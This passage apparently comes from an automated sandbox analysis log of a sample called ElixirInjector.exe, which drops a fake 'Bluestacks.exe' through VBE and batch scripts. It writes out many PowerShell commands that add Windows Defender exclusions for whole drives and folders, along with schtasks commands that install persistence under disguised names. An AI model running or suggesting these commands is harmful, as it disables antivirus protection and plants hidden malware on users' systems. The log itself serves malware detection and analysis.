              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeThread delayed: delay time: 922337203685477
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile opened: C:\Users\user\AppData\Local\Temp\WinRAR\Jump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile opened: C:\Users\user\Jump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile opened: C:\Users\user\AppData\Local\Temp\WinRAR\data\Jump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile opened: C:\Users\user\AppData\Jump to behavior
              Source: Bluestacks.exe, 00000005.00000002.2686434949.000000001BA8A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_
              Source: ElixirInjector.exe, 00000000.00000002.2186912266.0000000009690000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
              Source: Bluestacks.exe, 00000005.00000002.2686434949.000000001B9D1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
              Source: C:\Users\user\Desktop\ElixirInjector.exeAPI call chain: ExitProcess graph end nodegraph_0-24984
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F2F838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00F2F838
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F37DEE mov eax, dword ptr fs:[00000030h]0_2_00F37DEE
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F3C030 GetProcessHeap,0_2_00F3C030
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\ShellComponents\cmd.exeProcess token adjusted: Debug
              Source: C:\Windows\ShellComponents\cmd.exeProcess token adjusted: Debug
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeProcess token adjusted: Debug
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeProcess token adjusted: Debug
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeProcess token adjusted: Debug
              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeProcess token adjusted: Debug
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F2F838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00F2F838
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F2F9D5 SetUnhandledExceptionFilter,0_2_00F2F9D5
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F2FBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00F2FBCA
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F38EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00F38EBD
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeMemory allocated: page read and write | page guardJump to behavior

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Adds a directory exclusion to Windows Defender
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellComponents\cmd.exe'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exe'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe'
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exe'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe'Jump to behavior
              Source: C:\Users\user\Desktop\ElixirInjector.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe" Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\6iq5IFzZA9EyHTwKHM8vXk9USXtHecApoG.bat" "Jump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe "C:\Users\user\AppData\Local\Temp\WinRAR/data/bin/unistall/Bluestacks.exe"Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'" /fJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fvXBwqYdGYPkplbuTcoXecCdPf" /sc MINUTE /mo 9 /tr "'C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe'" /fJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exe'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe'Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fvXBwqYdGYPkplbuTcoXecCdPf" /sc MINUTE /mo 7 /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe'" /rl HIGHEST /fJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\9w1FkSj5b9.bat" Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe "C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe"
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F2F654 cpuid 0_2_00F2F654
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: GetLocaleInfoW,GetNumberFormatW,0_2_00F2AF0F
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeQueries volume information: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeQueries volume information: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeQueries volume information: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe VolumeInformationJump to behavior
              Source: C:\Windows\ShellComponents\cmd.exeQueries volume information: C:\Windows\ShellComponents\cmd.exe VolumeInformation
              Source: C:\Windows\ShellComponents\cmd.exeQueries volume information: C:\Windows\ShellComponents\cmd.exe VolumeInformation
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeQueries volume information: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
